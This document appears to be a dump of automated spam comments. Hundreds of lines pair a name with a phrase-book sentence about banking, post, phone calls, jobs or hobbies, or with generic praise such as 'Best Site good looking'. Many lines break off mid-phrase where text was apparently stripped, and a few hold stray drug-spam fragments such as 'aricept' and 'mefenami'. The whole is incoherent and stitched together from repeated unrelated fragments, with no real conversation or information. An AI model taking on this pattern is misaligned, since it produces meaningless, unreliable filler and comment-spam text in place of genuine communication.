Clyde : Can I call you back? .
Giovanni : Whereabouts are you from? .
Austin : Is there ? .
Allison : I'd like to speak to someone about a mortgage .
Mitchel : I'd like to pay this cheque in, please .
Armando : Best Site good looking .
Elvin : Wonderfull great site .
Tyron : The United States co .
Emory : Can you hear me OK? .
Efren : How long are you planning to stay here? .
Homer : Who's calling? no p .
Brooklyn : Have you got any qualifications? .
Carroll : Languages aricept .
Zoey : The line's engaged .
Daron : An accountancy practice .
Craig : Are you a student? mefenami .
Jeffery : I've got a part-time job .
Patricia : An accountancy practice .
Maria : I'm on work experience .
Truman : I'm self-employed .
Jerry : How much notice do you have to give? .
Leah : Who would I report to? .
Marshall : Could I have a statement, please? .
Danilo : I'd like to withdraw $100, please .
Ismael : Have you seen any good films recently? .
Bradly : The National Gallery .
Rosario : very best job .
Merle : I like it a lot .
Lorenzo : Three years .
Willis : On another call .
Sherwood : I work here .
Elliott : I'd like to pay this in, please .
Jocelyn : Where did you go to university? .
Diego : this is be cool 8) .
Nathaniel : What do you do? .
Coleman : How much does the job pay? .
Dylan : I'm a partner in .
Boris : On another call .
Bradly : Hold the line, please .
Herschel : I'm from England .
Elliott : Sorry, you must have the wrong number .
Chadwick : This is your employment contract .
Andrea : Sorry, I ran out of credit .
Snoopy : What company are you calling from? .
Leslie : I'm sorry, she's .
Rayford : It's a bad line .
Emmitt : Is it convenient to talk at the moment? .
Lenny : Do you like it here? .
Travis : This site is crazy :) .
Jamison : Three years .
Thomas : The manager .
Rodrick : What do you want to do when you've finished? .
Franklin : I study here .
Brody : Another service? .
Isaac : Could I have a statement, please? .
Bennie : Why did you come to ? .
Elvin : How much does the job pay? .
Miquel : I'd like a phonecard, please .
Augustus : Excellent work, Nice Design .
Darrin : I'd like to pay this in, please .
Randall : In tens, please (ten pound notes) .
Jake : How long have you lived here? .
Irwin : I've come to collect a parcel .
Grace : Another service? .
Edwin : Have you got any qualifications? .
Wilfred : I sing in a choir .
Serenity : Sorry, you must have the wrong number .
Dwain : I'd like to transfer some money to this account .
Antony : Insert your card .
Razer22 : very best job .
Loren : I've just started at .
Irvin : It's serious .
Cooler111 : Looking for a job .
Madeline : I work with computers .
Jocelyn : I'm a trainee .
Noble : How much will it cost to send this letter to ? .
Jarvis : It's OK .
Avery : I like watching football .
Rashad : Where do you come from? .
Manuel : Photography .
Diva : What qualifications have you got? .
Allison : We'd like to invite you for an interview .
Jose : Remove card .
Garret : Get a job .
Curt : I'm retired .
Khloe : This is the job description .
Rodger : I'd like to pay this cheque in, please .
Wyatt : Special Delivery .
Clement : Hold the line, please .
Nathanael : On another call .
Zoey : I'm happy very good site .
Madison : Very interesting tale .
Gerry : I don't like pubs .
Roberto : Could you ask her to call me? .
Adalberto : A First Class stamp .
Elton : What line of work are you in? .
Hubert : Have you got a telephone directory? .
Ashley : In a meeting .
Wyatt : Could you ask him to call me? .
Dorsey : Hold the line, please .
Jamel : A packet of envelopes .
Rubin : I've lost my bank card .
Pasquale : I'm sorry, I didn't catch your name .
Maynard : Could you tell me the number for ? .
Zachariah : US dollars .
Nestor : Your cash is being counted .
Leigh : I read a lot .
Christian : It's OK .
Keenan : Could you ask him to call me? .
Marissa : A Second Class stamp .
Pitfighter : Languages .
Lightsoul : Recorded Delivery .
Dewayne : What's the interest rate on this account? .
Emile : How do you know each other? .
Horacio : Do you like it here? .
James : I'm not interested in football .
Lyman : Children with disabilities .
Wilfredo : How much notice do you have to give? .
Chance : What do you study? .
Brendon : We went to university together .
Earnest : I'm in a band .
Carol : I wanted to live abroad .
Giovanni : Yes, I play the guitar .
Ervin : Enter your PIN .
Antony : Best Site Good Work .
Orville : In tens, please (ten pound notes) .
Casey : Will I be paid weekly or monthly? .
Chloe : Could I have an application form? .
Dexter : I have my own business .
Freelove : Who do you work for? .
Demetrius : Will I have to work shifts? .
Natalie : Do you know each other? .
Dalton : Which university are you at? .
Samuel : I'm a housewife .
Prince : Another service? .
Cornell : I'm sorry, he's .
Kayla : Could you give me some smaller notes? .
Young : I support Manchester United .
Korey : this post is fantastic .
Johnnie : How would you like the money? .
Ahmad : I'd like to change some money .
Jamel : Who would I report to? .
Gabriella : I went to .
Curt : Could you ask her to call me? .
Damion : Will I be paid weekly or monthly? .
Kristofer : Another service? .
Broderick : I really like swimming .
Kayla : I'd like to open an account .
Cooler111 : I've only just arrived .
Gonzalo : I'd like , please .
Santo : I've got a very weak signal .
Bernard : Just over two years .
Byron : We'll need to take up references .
Maynard : It's funny goodluck .
Curtis : Not in at the moment .
Addison : Go travelling .
Ricardo : What university do you go to? .
Luciano : I've got a full-time job .
Flyman : I do some voluntary work .
Erwin : Do you need a work permit? .
Luke : A jiffy bag .
Federico : I read a lot .
Major : Have you read any good books lately? .
Britt : I read a lot .
Mike : I'd like to cancel a cheque .
Nelson : Which team do you support? .
Winford : I'm at Liverpool University .
Connie : Where do you study? .
Frances : Three years .
Numbers : I'm a member of a gym .
Rodger : Will I get paid for overtime? .
Johnathan : I'm in my first year at university .
Roberto : Could I have , please? .
Leandro : How do you do? .
Julio : We work together .
Sidney : Looking for work .
Sierra : I'd like to open a personal account .
Lance : I'm on business .
Patric : I'm from England .
Reinaldo : I'm interested in this position .
Alden : I'd like to cancel a cheque .
Jessica : I'm only getting an answering machine .
Wilson : Pleased to meet you .
Shelby : About a year .
Robert : I was born in Australia but grew up in England .
Felix : I'm happy very good site .
Lester : This is the job description .
Mitchel : I like it a lot .
Steep777 : I love this site .
Sean : How many more years do you have to go? .
Bernard : I'd like to take the job .
Lemuel : I study here .
Lamar : Is there ? .
Carmine : Very Good Site .
Ferdinand : I need to charge up my phone .
Melvin : Would you like to leave a message? .
Stuart : I've come to collect a parcel .
Jonathon : On another call .
Homer : Withdraw cash .
Darius : I really like swimming .
Charlie : Could I have , please? .
Franklin : Please call back later .
Markus : I can't get through at the moment .
Alden : Incorrect PIN .
David : Please call back later .
Dexter : A financial advisor .
Rikky : Nice to meet you .
Jarvis : Could you send me an application form? .
Barbera : Could I borrow your phone, please? .
Domingo : I'm at Liverpool University .
Devin : Could you tell me the dialing code for ? .
Felton : A staff restaurant .
Reinaldo : Stolen credit card .
Adam : We went to university together .
Brant : Best Site Good Work .
Taylor : I'm on holiday .
Ervin : Who's calling? .
Eli : Do you know the number for ? .
Courtney : A jiffy bag .
Conrad : Could you please repeat that? .
Freddy : Could you ask her to call me? .
Logan : Could I take your name and number, please? .
August : How many are there in a book? .
Trent : I'd like to withdraw $100, please .
Lenny : Yes, I love it! .
Brady : In tens, please (ten pound notes) .
Darrell : I'm not working at the moment .
Frank : Go travelling .
Dannie : We'll need to take up references .
Carey : Can you put it on the scales, please? .
Ramon : I can't get a signal .
Weston : I love the theatre .
Bernardo : I'll text you later .
Alyssa : How do you know each other? .
Chung : It's funny goodluck .
Kerry : I'd like to send this letter by .
Virgilio : I'm doing a masters in law .
Ashton : magic story very thanks .
Bennett : I'm doing a phd in chemistry .
Mariano : I'm on a course at the moment .
Norris : Your cash is being counted .
Marcel : How much notice do you have to give? .
Lenny : Thanks funny site .
Razer22 : I've just started at .
Carter : I'm unemployed .
Broderick : A packet of envelopes .
Alonzo : Can you put it on the scales, please? .
Wayne : I'd like to order some foreign currency .
Reyes : Could you send me an application form? .
Francesco : I'm not sure .
Alphonse : I can't hear you very well .
Clarence : An accountancy practice .
Sydney : Until August .
Alfred : Could I ask who's calling? .
Morris : What sort of work do you do? .
Giuseppe : In tens, please (ten pound notes) .
Luigi : I quite like cooking .
Cornell : Where do you live? .
Emanuel : Thanks funny site .
Benjamin : perfect design thanks .
Hollis : Do you have any exams coming up? .
Clifford : How long have you lived here? .
Clifton : It's OK .
Palmer : Could you tell me the dialing code for ? .
Mary : I'm not sure .
Brett : Could you tell me the dialing code for ? .
Arnold : Will I get paid for overtime? .
Harry : I'm interested in .
Arturo : I love the theatre .
Lindsay : I'm doing a masters in law .
Nicky : I'd like to pay this cheque in, please .
Rudolf : I'm doing a phd in chemistry .
Elmer : Enter your PIN .
Jerrold : Other amount .
Zoey : I was made redundant two months ago .
Ellis : I'd like to tell you about a change of address .
Tobias : A few months .
Houston : I'm happy very good site .
Trenton : Did you go to university? .
Trent : How do you spell that? .
Mitchell : I've got a part-time job .
Nathanael : Recorded Delivery .
Grant : Will I get paid for overtime? .
Elijah : How many weeks' holiday a year are there? .
Eliseo : I'm in my first year at university .
Sean : Have you got a current driving licence? .
Wayne : I want to report a .
Getjoy : I sing in a choir .
Mason : On another call .
Faustino : Who do you work for? .
Martin : I'm from England .
Gavin : this post is fantastic .
Tomas : I'll put her on .
Pedro : How many more years do you have to go? .
Florencio : It's a bad line .
Zoey : Could you ask him to call me? .
Gordon : A pension scheme .
Emerson : Which team do you support? .
Levi : I'm retired .
Solomon : What line of work are you in? .
Benton : History .
Boyce : I'd like a phonecard, please .
Ricky : I've just started at .
Danilo : I'm doing a phd in chemistry .
Brock : I love this site .
Jermaine : I'd like to open a personal account .
Ernesto : Would you like to leave a message? .
Elwood : My battery's about to run out .
August : A First Class stamp .
Osvaldo : this is be cool 8) .
Elizabeth : I'd like to open a business account .
Randolph : What's your number? .
Nilson : The National Gallery .
Tracy : I don't know what I want to do after university .
Jeramy : How much notice do you have to give? .
Francis : I've just started at .
Richie : Are you a student? .
Larry : What's the exchange rate for euros? .
Jamison : Have you seen any good films recently? .
Curtis : I'm interested in .
Goodsam : I'm on business .
Angelo : I was made redundant two months ago .
Bryan : Sorry, you must have the wrong number .
Carlton : I sing in a choir .
Dudley : Insert your card .
Lewis : Jonny was here .
Chester : Special Delivery .
Erwin : I've got a part-time job .
Ferdinand : I work for myself .
Douglass : Languages .
Israel : Could you please repeat that? .
Roderick : I've just started at .
Rebecca : I'll send you a text .
Gavin : It's serious .
Warren : Whereabouts in are you from? .
Tyrone : Will I get travelling expenses? .
Haywood : I'm sorry, I didn't catch your name .
Kristofer : What company are you calling from? .
Burton : Do you know what extension he's on? .
Gordon : Insert your card .
Robby : Where do you come from? .
Jamison : How much does the job pay? .
Nicky : What's the last date I can post this to to arrive in time f .
Dylan : I'm retired .
Cristopher : Are you a student? .
Dario : The National Gallery .
Blair : I'm not sure .
Wayne : I'm not sure .
Woodrow : How much notice do you have to give? .
Cole : A law firm .
Sherwood : Will I get paid for overtime? .
Bobbie : Gloomy tales .
Aidan : Can I use your phone? .
Bobber : I'm a housewife .
Delmar : Where are you from? .
Marvin : Remove card .
Justin : This is the job description .
Shirley : Yes, I love it! .
Dominique : We're at university together .
Kristopher : It's serious .
Michelle : Is this a temporary or permanent position? .
Leonel : I'd like to speak to someone about a mortgage .
Delmar : Go travelling .
Leonardo : I'd like some euros .
Freddie : About a year .
Rodger : Cool site goodluck :) .
Geraldo : Could I take your name and number, please? .
Darrel : I'm doing a phd in chemistry .
Frederick : An envelope .
Stacy : I never went to university .
Jacinto : I quite like cooking .
Arlie : What do you do? .
Eugenio : Your cash is being counted .
Joaquin : Have you got a telephone directory? .
Wallace : I work with computers .
Felipe : I stay at home and look after the children .
Vernon : I'm on holiday .
Edwardo : I'm sorry, he's .
Woodrow : A law firm .
Caden : In tens, please (ten pound notes) .
Royal : The manager .
Bruno : How many more years do you have to go? .
Kayla : I support Manchester United .
Amber : I'm originally from Dublin but now live in Edinburgh .
Johnson : I'm on a course at the moment .
Tracey : I'm originally from Dublin but now live in Edinburgh .
Damian : Stolen credit card .
Percy : A book of First Class stamps .
Malik : I'm a trainee .
Brent : Have you got a current driving licence? .
Clint : I need to charge up my phone .
Ernie : A few months .
Roger : Hello good day .
Shaun : I'm training to be an engineer .
Luis : Could I have an application form? .
Miguel : Will I get travelling expenses? .
Solomon : Enter your PIN .
Donovan : How would you like the money? .
Tanner : Where do you study? .
Devon : I never went to university .
Rosendo : I was made redundant two months ago .
Benny : Do you like it here? .
Vernon : Gloomy tales .
Rigoberto : I'll text you later .
Gayle : Could I have an application form? .
Crazyivan : Three years .
Autumn : Do you know what extension he's on? .
Felipe : Can I call you back? .
Norberto : I've only just arrived .
Lamont : Jonny was here .
Elbert : Could you ask him to call me? .
Chase : What's the last date I can post this to to arrive in time f .
Tomas : I've been cut off .
Michelle : A Second Class stamp .
Domingo : I'm sorry, I'm not interested .
Tommie : I'd like to send this letter by .
Adolph : We need someone with experience .
Gregorio : On another call .
Kurtis : Please call back later .
Leonard : I love this site .
Alvaro : magic story very thanks .
Kaylee : Sorry, I ran out of credit .
Adalberto : Is it convenient to talk at the moment? .
Dorian : Sorry, you must have the wrong number .
Donnell : How many are there in a book? .
Mary : Which year are you in? .
Phillip : I work here .
Valeria : Could I take your name and number, please? .
Milton : How long have you lived here? .
Dante : Enter your PIN .
Christophe : I like watching TV .
Rueben : Your cash is being counted .
Paige : Would you like to leave a message? .
Jessica : We need someone with experience .
Megan : Could you tell me the dialing code for ? .
Norberto : Very Good Site .
Fredrick : I didn't go to university .
Calvin : Cool site goodluck :) .
Earle : Could you transfer $1000 from my current account to my depos .
Archie : What do you like doing in your spare time? .
Micah : Can you put it on the scales, please? .
Rupert : I'm from England .
Dewayne : Insufficient funds .
Getjoy : How do you know each other? .
Aidan : I'm unemployed .
Wayne : Directory enquiries .
Darnell : I'm not working at the moment .
Derick : I came here to work .
Daren : This site is crazy :) .
Winford : Could you ask him to call me? .
Madeline : I enjoy travelling .
Jordan : Whereabouts are you from? .
Darwin : I'm a partner in .
Reggie : Do you know what extension he's on? .
Chang : I work for myself .
Fletcher : Could I order a new chequebook, please? .
Aiden : I work with computers .
Fernando : International directory enquiries .
Stevie : A pension scheme .
Leah : Where did you go to university? .
Irving : Another year .
Jerold : good material thanks .
Antonia : Yes, I play the guitar .
Elisha : Do you play any instruments? .
Brayden : The United States .
Burton : What sort of music do you like? .
Cyrus : Three years .
Hilton : Could you tell me my balance, please? .
Leopoldo : I'd like to take the job .
Shannon : this post is fantastic .
Gilbert : Do you know what extension he's on? .
Gustavo : Excellent work, Nice Design .
Franklin : Could I have an application form? .
Kendall : Until August .
Plank : Will I get travelling expenses? .
Garfield : I'll put him on .
Lincoln : I'm on business .
Winford : I work for a publishers .
Ernest : this is be cool 8) .
Davis : A pension scheme .
Rupert : How long have you lived here? .
Trinity : What company are you calling from? .
Alfred : I like watching TV .
Thanh : I'm doing a masters in law .
Cooper : How many days will it take for the cheque to clear? .
Maximo : Have you read any good books lately? .
Brandon : Could I order a new chequebook, please? .
Incomeppc : I'm not interested in football .
Julian : Could you ask her to call me? .
Gonzalo : I'll put her on .
Taylor : Could you tell me the dialing code for ? .
Columbus : I didn't go to university .
Willis : Could you transfer $1000 from my current account to my depos .
Hosea : How much does the job pay? .
Kendall : Languages .
Mohamed : Could you give me some smaller notes? .
Francis : A few months .
Isaac : International directory enquiries .
Jonathan : What's the last date I can post this to to arrive in time f .
Myles : I study here .
Lanny : this is be cool 8) .
Natalie : Where are you from? .
Charlie : Cool site goodluck :) .
Elvis : We've got a joint account .
Nathaniel : very best job .
Willard : I'd like to change some money .
Maya : I've come to collect a parcel .
Hilario : Good crew it's cool :) .
Jaden : I work for a publishers .
Nicky : How much is a Second Class stamp? .
Gerald : I'm retired .
Bobby : I'd like to speak to someone about a mortgage .
Jada : What's your number? .
Whitney : I didn't go to university .
Craig : I'm on a course at the moment .
Damon : What do you do? .
Weldon : I'm doing a masters in law .
Dogkill : What's the current interest rate for personal loans? .
Alfredo : How much were you paid in your last job? .
Kareem : How many would you like? .
Wilson : I'm from England .
Jake : Do you know the address? .
Donovan : It's funny goodluck .
Kurtis : magic story very thanks .
Roscoe : An estate agents .
Delbert : What qualifications have you got? .
Williams : What sort of music do you like? .
Mishel : I'm in my first year at university .
Andres : A jiffy bag .
Lenny : What do you study? .
Jasper : Where did you go to university? .
Kimberly : I like watching TV .
Wendell : What line of work are you in? .
Antonia : I'd like a phonecard, please .
Cletus : Whereabouts in are you from? .
Winfred : I stay at home and look after the children .
Jeremy : I love the theatre .
Darius : What's the last date I can post this to to arrive in time f .
Lavern : A book of First Class stamps .
Chadwick : Are you a student? .
Hassan : I'll put her on .
Dallas : I've got a very weak signal .
Rufus : Could I take your name and number, please? .
Jack : Insufficient funds .
Emmett : Stolen credit card .
Emile : We've got a joint account .
Terrence : I'm not sure .
Barry : Is this a temporary or permanent position? .
Walker : i'm fine good work .
Humberto : Who would I report to? .
Caleb : I work here .
Emmitt : I'm self-employed .
Major : Yes, I play the guitar .
Ethan : I'll call back later .
Edison : A Second Class stamp .
Ricardo : In a meeting .
Hilton : A jiffy bag .
Floyd : I'm training to be an engineer .
Wilburn : Sorry, I ran out of credit .
Chance : I'd like to tell you about a change of address .
Patricia : Children with disabilities .
Greenwood : I'll call back later .
Frederic : I'm sorry, she's .
Jerry : good material thanks .
Johnathon : this is be cool 8) .
Felix : I've got a part-time job .
Buddy : I saw your advert in the paper .
Salvador : Can you put it on the scales, please? .
Darnell : I do some voluntary work .
Raymon : I'm in my first year at university .
Jayson : Do you know the number for ? .
Quinn : The United States .
Derick : Have you seen any good films recently? .
Carmine : Hold the line, please .
Norris : Where do you live? .
Carlton : I'd like to apply for this job .
Cornelius : Is it convenient to talk at the moment? .
Quintin : Yes, I love it! .
Janni : I'd like to open a business account .
Freddy : I'll put her on .
Jayson : Sorry, I ran out of credit .
Fredric : Jonny was here .
Roberto : Other amount .
Edison : I'm on a course at the moment .
Wilber : How do you know each other? .
Natalie : Children with disabilities .
Delbert : I'm originally from Dublin but now live in Edinburgh .
Junior : Are you a student? .
Agustin : Incorrect PIN .
Sergio : I'm happy very good site .
Harland : Could I borrow your phone, please? .
Emile : How many are there in a book? .
Anderson : I went to .
Miquel : I came here to study .
Chung : Withdraw cash .
Roman : Looking for a job .
Elisha : Can I use your phone? .
Donte : I'd like to withdraw $100, please .
Solomon : Whereabouts are you from? .
Darrick : Withdraw cash .
Filiberto : Could I borrow your phone, please? .
Dusty : this is be cool 8) .
Mariano : I'd like to pay this in, please .
Tyrone : The United States .
Forest : Looking for a job .
Gustavo : Other amount .
Howard : I hate shopping .
Isabella : Your cash is being counted .
Moises : I'll text you later .
Milton : I like watching TV .
Sergio : Could you give me some smaller notes? .
Tyrone : this is be cool 8) .
Stacy : I'd like to take the job .
Dwayne : Please wait .
Efrain : Is it convenient to talk at the moment? .
Emilio : I'm a partner in .
Curt : Why did you come to ? .
Malik : I saw your advert in the paper .
Sara : Please call back later .
Lindsey : Did you go to university? .
Marcellus : Do you know each other? .
Lionel : What's the interest rate on this account? .
Kasey : Canada>Canada .
Alvin : I'd like , please .
Colton : I like watching TV .
Jack : Best Site good looking .
Johnie : I'm interested in this position .
Reinaldo : I'll send you a text .
Marcel : What part of do you come from? .
Quincy : How much were you paid in your last job? .
Mauro : Not in at the moment .
Bobbie : this is be cool 8) .
Abram : I'd like to pay this cheque in, please .
Laverne : Who would I report to? .
Wilton : Where are you from? .
Megan : Where's the postbox? .
Arron : I'll call back later .
Darrell : We've got a joint account .
Murray : I've got a part-time job .
Kaitlyn : Sorry, you must have the wrong number .
Dewayne : Will I be paid weekly or monthly? .
Floyd : How many more years do you have to go? .
Davis : I've got a very weak signal .
Kristofer : I saw your advert in the paper .
DE : Will I have to work on Saturdays? .
Simon : Will I get paid for overtime? .
Destiny : How many more years do you have to go? .
Mia : Could you tell me the number for ? .
Lily : I hate shopping .
Weldon : Jonny was here .
Nathanial : A law firm .
Luis : I'd like to order some foreign currency .
Alyssa : this post is fantastic .
Eusebio : I need to charge up my phone .
Clement : Where did you go to university? .
Micah : Accountant supermarket manager .
Nicky : I've lost my bank card .
Razer22 : Incorrect PIN .
Gaylord : Yes, I play the guitar .
Megan : Hello good day .
Curt : What do you do? .
Ricky : I'm sorry, he's .
Emmett : real beauty page .
Megan : I love the theatre .
Collin : I'm about to run out of credit .
Galen : Have you got any ? .
Warren : Could I have , please? .
Patrick : I'd like to take the job .
Richie : I need to charge up my phone .
Alfred : Sorry, you must have the wrong number .
Reynaldo : I'd like to open an account .
Royal : How many more years do you have to go? .
Cortez : Languages .
Kelvin : I work with computers .
Ezekiel : Where's the nearest cash machine? .
Leslie : Could you send me an application form? .
Maynard : A book of First Class stamps .
Brianna : Get a job el .
Fernando : Could I ask who's calling? .
Johnathan : A packet of envelopes .
Clark : magic story very thanks .
Christophe : I work here .
Coco888 : Cool site goodluck :) .
Santiago : There's a three month trial period .
Infest : How many are there in a book? .
Matthew : I've got a very weak signal .
Lenard : I quite like cooking .
Sterling : Who's calling? .
Graham : How many more years do you have to go? .
Alonso : I like watching TV .
Dominick : Do you know what extension he's on? .
Julian : Have you got any ? .
Sierra : One moment, please .
Benedict : Punk not dead .
Crazyivan : I've been made redundant .
Evelyn : We need someone with qualifications .
Mathew : I'm sorry, she's .
Darell : Did you go to university? .
Blaine : I'm in my first year at university .
Rodrigo : Could you ask him to call me? .
Amia : I've only just arrived .
Rodrigo : I hate shopping .
Wilson : Will I be paid weekly or monthly? .
Lioncool : I'll send you a text .
Eva : An estate agents .
Louie : The National Gallery .
Alexis : A law firm .
Emanuel : Good crew it's cool :) .
Bryce : I've been made redundant .
Snoopy : Could you tell me the number for ? .
Everette : A Second Class stamp .
Maynard : Directory enquiries .
Kayla : I'd like to send this to .
Thaddeus : I'm about to run out of credit .
Gonzalo : What qualifications have you got? .
Harrison : I'd like to send this parcel to .
Gayle : I'm sorry, he's .
Riley : I can't hear you very well .
Lawrence : I'd like to send this letter by .
Dennis : I want to make a withdrawal .
Cameron : What do you like doing in your spare time? .
Milan : Hold the line, please .
Lavern : this is be cool 8) .
Dillon : Remove card .
Mickey : I didn't go to university .
Sherman : I'd like to open a personal account .
Duane : I've lost my bank card .
Branden : Photography .
Lucius : Nice to meet you .
Prince : Will I have to work on Saturdays? .
Oliver : How long have you lived here? .
Marcellus : I've got a very weak signal .
Rayford : Where are you from? .
Fredric : Could I have a statement, please? .
Raleigh : Could I have , please? .
Octavio : Other amount .
Galen : We used to work together .
Roger : Have you read any good books lately? .
Miquel : Three years .
Steep777 : How much were you paid in your last job? .
Zoe : I'd like to pay this in, please .
Clark : I'm at Liverpool University .
Darrel : Recorded Delivery .
Delbert : I'm doing an internship .
Ezequiel : I'll call back later .
Lindsey : I'm afraid that number's ex-directory .
Jordon : I'd like to open a business account .
Keenan : I'd like to change some money .
Ricky : Do you need a work permit? .
Albert : Other amount .
Randal : Do you know the number for ? .
Ronnie : What do you do? .
Merrill : I'd like to send this letter by .
Ezequiel : Enter your PIN .
Nolan : I want to make a withdrawal .
Hiram : I'm on a course at the moment .
Morgan : There's a three month trial period .
Chase : Where do you live? .
Isiah : How many are there in a book? .
Wilmer : Yes, I play the guitar .
Patricia : I'll put her on .
Trent : Do you like it here? .
Dominic : What university do you go to? .
Daniel : How much notice do you have to give? .
Samual : Cool site goodluck :) .
Florentino : It's OK .
Ricky : Is it convenient to talk at the moment? .
Giuseppe : I work for myself .
Booker : A book of First Class stamps .
Porfirio : I was made redundant two months ago .
Rebecca : Could I borrow your phone, please? .
Zoe : I was made redundant two months ago .
Harold : Wonderfull great site .
Haley : Which university are you at? .
Russell : Free medical insurance .
Hosea : Who would I report to? .
Sandy : Will I get travelling expenses? .
Ronald : Special Delivery .
Genesis : Can I take your number? .
Lucius : What sort of music do you listen to? .
Stanton : Do you know the number for ? .
Rodolfo : Have you read any good books lately? .
Adolph : What's the exchange rate for euros? .
Gobiz : What's the current interest rate for personal loans? .
Samual : I'm in my first year at university .
Sarah : Your cash is being counted .
Jada : What do you do? .
Kelly : How much will it cost to send this letter to ? .
Charlotte : I like watching TV .
Chuck : I don't like pubs .
Francis : I love the theatre .
Makayla : Would you like a receipt? .
Chester : Which team do you support? .
Felix : Another year .
Everette : Best Site Good Work .
Eldon : I'd like to send this parcel to .
Haywood : Which year are you in? .
Maya : Could you ask her to call me? .
Dghonson : The National Gallery .
Deshawn : I came here to study .
Aubrey : I'd like to apply for this job .
Lifestile : Best Site good looking .
Pasquale : I'm sorry, I didn't catch your name .
Carol : Canada>Canada .
Kirby : Where are you from? .
Jerold : This is your employment contract .
Brenton : this post is fantastic .
Emmitt : Yes, I love it! .
Fausto : I'll text you later .
Victoria : I'd like to send this parcel to .
Nathanael : How do I get an outside line? .
Wilfredo : I'm afraid that number's ex-directory .
Oliver : Could I have a statement, please? .
Nelson : I'm interested in .
Kelley : I'm not working at the moment .
Ronny : We're at university together .
Dillon : Who do you work for? .
Stacey : Where do you come from? .
Ella : One moment, please .
Ernesto : I've lost my bank card .
Bonser : What's the current interest rate for personal loans? .
Benedict : Cool site goodluck :) .
Jewell : I stay at home and look after the children .
Alvaro : I'm self-employed .
Santo : I'd like to withdraw $100, please .
Shirley : Do you know each other? .
Elvis : A jiffy bag .
Infest : Until August .
Billie : What's the interest rate on this account? .
Barney : How do I get an outside line? .
Victoria : We work together .
Evan : Do you play any instruments? .
Jerome : Children with disabilities .
Madeline : I'm on holiday .
Norris : Could I order a new chequebook, please? .
Raymon : I study here .
Fritz : I was born in Australia but grew up in England .
Loren : How many weeks' holiday a year are there? .
Clarence : An envelope .
Octavio : Could you transfer $1000 from my current account to my depos .
Willie : Can I call you back? .
Dillon : Which university are you at? .
Stuart : What sort of music do you listen to? .
Miquel : I saw your advert in the paper .
Tracey : I went to .
Katelyn : A staff restaurant .
Fernando : I'd like to open a business account .
Graham : It's OK .
Corey : magic story very thanks .
Kieth : Can you put it on the scales, please? .
Bailey : I'd like to take the job .
Weston : It's serious .
Lindsey : Photography .
Lucky : I love the theatre .
Erwin : I'd like to cancel a cheque .
Nathanial : Where do you study? .
Abram : Would you like a receipt? .
Jocelyn : I have my own business .
Jerrod : real beauty page .
Hyman : I didn't go to university .
Anton : I can't get a dialling tone .
Blaine : Could I have an application form? .
Eugene : Free medical insurance .
Gayle : A pension scheme .
Darrin : A book of First Class stamps .
Cornell : I'd like to cancel this standing order .
Ariana : The line's engaged .
Kidrock : I'd like to open a personal account .
Walker : I've only just arrived .
Dallas : I'm unemployed .
Brady : History .
Samual : This is the job description .
Dalton : Could I make an appointment to see ? .
Kelley : I can't get through at the moment .
Orval : One moment, please .
Hilario : It's funny goodluck .
Frederic : Very interesting tale .
Jamel : I can't get a signal .
Merle : Do you like it here? .
Mitchel : I'd like to send this parcel to .
Samantha : Do you know the number for ? .
Barrett : Who would I report to? .
Houston : We work together .
Aidan : How do you spell that? .
Oliver : I support Manchester United .
Merlin : Not available at the moment .
Osvaldo : Photography .
Samuel : I'll put him on .
Harris : Another year .
Amelia : What's the current interest rate for personal loans? .
Anthony : Do you need a work permit? .
Palmer : Have you got any ? .
Clyde : Could you give me some smaller notes? .
Eugene : Not available at the moment .
Dylan : Will I have to work shifts? .
Melissa : I'd like to speak to someone about a mortgage .
Lowell : We're at university together .
Francis : Could you ask him to call me? .
Mya : I'm a member of a gym .
Hassan : Another year .
Hubert : Can you hear me OK? .
Peyton : Enter your PIN .
Ezequiel : Have you got any qualifications? .
Lifestile : I enjoy travelling .
Ferdinand : We work together .
Gabrielle : I've just started at .
Dustin : Who do you work for? .
Mckinley : Could I have a statement, please? .
Sylvester : Jonny was here .
Margarito : I'd like a phonecard, please .
Caroline : Could I ask who's calling? .
Melissa : Canada>Canada .
Behappy : I'd like to pay this cheque in, please .
Erasmo : Could I have , please? .
Jack : I've only just arrived .
Genesis : A jiffy bag .
Grant : Where do you live? .
Augustine : What sort of music do you like? .
Marty : Incorrect PIN .
Geoffrey : Thanks for calling .
Katelyn : Who do you work for? .
Antony : My battery's about to run out .
Virgil : Have you got a telephone directory? .
Steep777 : Could I have a statement, please? .
Jonathan : About a year .
Jared : The line's engaged .
Nickolas : Where do you study? .
Rosendo : Free medical insurance .
Fifa55 : this is be cool 8) .
Trevor : Where's the nearest cash machine? .
Basil : I'd like to open an account .
Danielle : Very funny pictures .
Garth : I'd like to change some money .
Domenic : I'm in a band .
Rudolph : Insufficient funds .
Quaker : What do you like doing in your spare time? .
Irvin : Do you know the address? .
Kasey : A jiffy bag .
Thebest : I'm from England .
Elmer : How would you like the money? .
Edward : Recorded Delivery .
Titus : I'm not working at the moment .
Modesto : I study here .
Incomeppc : Will I get travelling expenses? .
Grant : Sorry, you must have the wrong number .
Cecil : Another service? .
Ava : magic story very thanks .
Santiago : We've got a joint account .
Marcelo : Could I make an appointment to see ? .
John : On another call .
Arnold : How much is a First Class stamp? .
Teodoro : I'd like to pay this in, please .
Felton : Can I use your phone? .
Kristopher : I stay at home and look after the children .
Major : I was made redundant two months ago .
Billy : I'd like to cancel this standing order .
Leonard : I'm doing a masters in law .
Alonso : How much is a Second Class stamp? .
Clement : How would you like the money? .
Donnell : We went to university together .
Murray : How much were you paid in your last job? .
Rafael : Where's the nearest cash machine? .
Warren : This is your employment contract .
Kurtis : I'd like to order some foreign currency .
Mary : How would you like the money? .
Cristopher : Could you tell me my balance, please? .
Ferdinand : It's a bad line .
Theron : Wonderfull great site .
Quintin : It's a bad line .
Matthew : I'd like to cancel this standing order .
Deadman : Withdraw cash .
Floyd : Not available at the moment .
Kenton : I'm not sure .
Gracie : Could I have a statement, please? .
Lenard : Cool site goodluck :) .
Jermaine : Have you got any ? .
Morris : Some First Class stamps .
Isidro : How many more years do you have to go? .
Lincoln : I'm on a course at the moment .
Josef : real beauty page .
Ernesto : Best Site Good Work .
Wilbur : I'll call back later .
Mohammed : I never went to university .
Jewel : We've got a joint account .
Alfred : Whereabouts are you from? .
Reginald : I like it a lot .
Laurence : I'm a housewife .
Daren : One moment, please .
Doyle : Which university are you at? .
Erin : How do you do? .
Vincent : Lost credit card .
Eduardo : What's the exchange rate for euros? .
Andrew : It's OK .
Bobbie : A Second Class stamp .
Andre : We'd like to offer you the job .
Alfonzo : I'd like to transfer some money to this account .
Winfred : I'd like some euros .
Eldon : Sorry, you must have the wrong number .
Kraig : Nice to meet you .
Oscar : I'd like some euros .
